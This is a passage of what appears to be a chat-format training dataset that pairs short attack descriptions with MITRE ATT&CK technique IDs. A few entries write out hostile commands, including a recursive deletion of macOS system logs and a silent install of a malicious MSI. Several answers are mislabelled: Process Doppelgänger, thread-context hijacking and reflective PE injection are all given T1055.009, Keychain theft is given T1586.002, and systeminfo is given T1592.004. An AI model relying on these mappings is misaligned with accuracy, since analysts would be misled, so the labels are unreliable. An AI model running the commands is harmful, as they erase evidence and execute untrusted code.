                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker restores a compromised Amazon EC2 instance to its original snapshot after completing malicious actions."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Terminal Services DLL's load order, the attacker achieves privilege escalation on a domain controller."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses PowerShell's Get-ADGroupMember cmdlet to retrieve members of admin groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool clears the recent commands stored in the user's terminal history."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool enumerates connected smart cards and USB dongles for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the SIP configuration, the malicious actor subverts OS kernel code integrity checks, enabling execution of unauthorized drivers."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking a legitimate application’s notarization process, the attacker injects malicious code that passes Gatekeeper's validation."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a legitimate cloud service API to spin up instances that execute mining operations on behalf of the attacker."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated campaign involved modifying firewall rule priorities in Azure, effectively bypassing the intended deny rules and allowing malicious traffic."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the com.apple.finder.plist to change default view settings and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware collected credentials and then stored the data on a public pastebin site, awaiting later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries scrape public cloud asset search engines for misconfigured storage buckets belonging to the victim organization."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtains a local user’s password from a keylogger and uses it to bypass security controls on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group wipes out the recorded network share mounts in the system event logs and unmaps the drives."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a man-in-the-middle attack, the threat actor injects forged session identifiers into the victim's browser, granting them a valid authenticated session."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers encapsulate data within legitimate SMTP messages, causing the traffic to be interpreted as normal email."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Excel spreadsheet contains a hidden VBA script that launches a PowerShell payload when the workbook is opened, exemplifying the Office Application Startup technique."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor performs token impersonation by extracting a user's authentication cookie from the browser cache."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performs reconnaissance by querying domain‑related search services to locate legacy websites still owned by the target organization."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a scheduled task to run \"msiexec.exe /quiet /i C:\\Windows\\Temp\\bad.msi\" at system startup, achieving persistence through system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker dropped a Python backdoor onto the compromised host and used it to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By chaining together multiple compromised proxy nodes, the attacker ensured that each hop encrypted the traffic, providing defense evasion."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages open-source mapping services and real estate websites to find the site of the target's research lab."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a tool that generates a relentless stream of small packets (e.g., GRE or HTTP GET) toward the target, exhausting its inbound bandwidth."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes \"systeminfo\" on the compromised host and parses the output to obtain OS name, version, and system locale settings."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting VBA macro editing, the threat actor overwrites existing macro code in a spreadsheet to embed malicious behavior without detection."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit involves inserting <%@ Page Language=\"C#\" %> directives into an ASP.NET Razor view, causing server‑side code execution via template injection."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Process Doppelgänger to clone a benign process and inject malicious code into its memory space."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers exploited an outdated Joomla plugin to overwrite the site’s CSS and display unauthorized images."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor runs \"arp -a\" on a compromised endpoint to collect IP-MAC mappings, inferring other devices on the LAN."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining a service account token, the threat actor used it to execute commands on the target's Kubernetes cluster."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware abuses a stolen valid RDP credential to attach to an active remote session and then escalates privileges within that session."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace a legitimate operating system image on the victim's hard drive with a malicious version to gain persistent control."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries inject malicious payloads that corrupt database tables, causing loss of integrity."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script alters a user's SID-History attribute to include the SID of an admin group, achieving token escalation."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor installs a backdoor web shell on the victim's IIS server to maintain persistence and execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The victim’s DNS server was compromised via a remote code execution vulnerability in the web interface."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker clears macOS console logs with \"sudo rm -rf /private/var/log/*\" after establishing persistence."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors misuse MSBuild to orchestrate code execution, leveraging the trusted developer utilities proxy technique."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the default file association for .pdf files to point to a malicious script, enabling code execution whenever a PDF is opened."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors craft a manifest file that specifies a harmful DLL as a dependent assembly for a legitimate application, exploiting application shimming for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload included code that queried the Keychain on macOS to retrieve stored iCloud email passwords and sent them back to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise utilizes Mavinject to load malicious code into the Windows Management Instrumentation (WMI) service."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies a public website's homepage to display a political message."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a vulnerable third‑party widget to embed a hidden iframe that redirects users to a phishing page."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious installer includes a link to a cloud storage bucket that contains the next-stage ransomware components."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑login, the malicious script re‑encrypts the session token using a reversible cipher and writes it back, allowing the attacker to decrypt and reuse the token."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group collects and enumerates logs from a cloud provider's CloudTrail service to map recent API calls."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infection disables the \"Event Log\" service, suppressing security logging on the system."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker overwrites critical database files to permanently delete company data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious app accesses the Android keystore to retrieve stored account passwords."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gathers victim organization information by aggregating publicly available data on business units, staff roles, and corporate relationships."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using exploit frameworks, the adversary creates custom exploit payloads to increase their capabilities."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copies exfiltrated documents from the victim's file system to a personal Google Drive account using the Google Drive API."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑crime group configures the malware to scan for any Bluetooth devices in range and exfiltrate logs via Bluetooth FTP."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse the Windows Service Control Manager to change the binary path of a legitimate service to point to their payload."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary replaces the Windows kernel image with a malicious version during a system update to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accesses a workstation by using a locally stored password hash extracted from the SAM database."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a signed binary, the attacker exploits IFEO by setting the 'Image File Execution Options' for calc.exe to point to a hidden executable that escalates privileges."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant includes a DNS TXT record lookup to retrieve encoded instructions, using dynamic resolution."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code reads the ProcessDebugPort via NtQueryInformationProcess to detect a debugger."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link is delivered via a personalized LinkedIn message, appearing to lead to a conference registration site but instead funnels the victim to a credential‑stealing form."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised web server to upload a malicious PowerShell script into the victim's file system, which later executes to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages unauthenticated Memcached servers by sending GET requests with the victim's IP, resulting in amplified data being reflected back to the victim."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks a trusted process by using SetThreadContext to modify the thread's execution flow to point to injected code."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the site's navigation menu items to include defacement slogans."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script queries the registry keys HKLM\\Software\\Policies and HKCU\\Software\\Policies to discover domain Group Policy settings."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code opens a window that is off‑screen by setting its coordinates beyond the display bounds, effectively hiding it."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies the system's boot configuration to force Windows into Safe Mode, disabling security tools."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a standard Windows executable in a suspended state, substitutes its code segment with a custom payload, and then resumes the process, resulting in covert execution of the payload."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated malware variant creates a transaction, injects a malicious executable, aborts the transaction, and then uses the created process image to run the payload without leaving files on disk, characteristic of Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary edits the executable's load commands, adding LC_LOAD_DYLIB to point to a malicious .dylib, achieving persistence via repeated library loading."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses PowerShell to map a network share and then copies key logs to a hidden directory."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerability to replace the router’s bootstrap firmware, allowing code execution before the operating system loads."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote code execution is achieved by the threat actor injecting a reflective PE into the memory space of explorer.exe."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses 'cmd /c ver' to retrieve the Windows version number."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
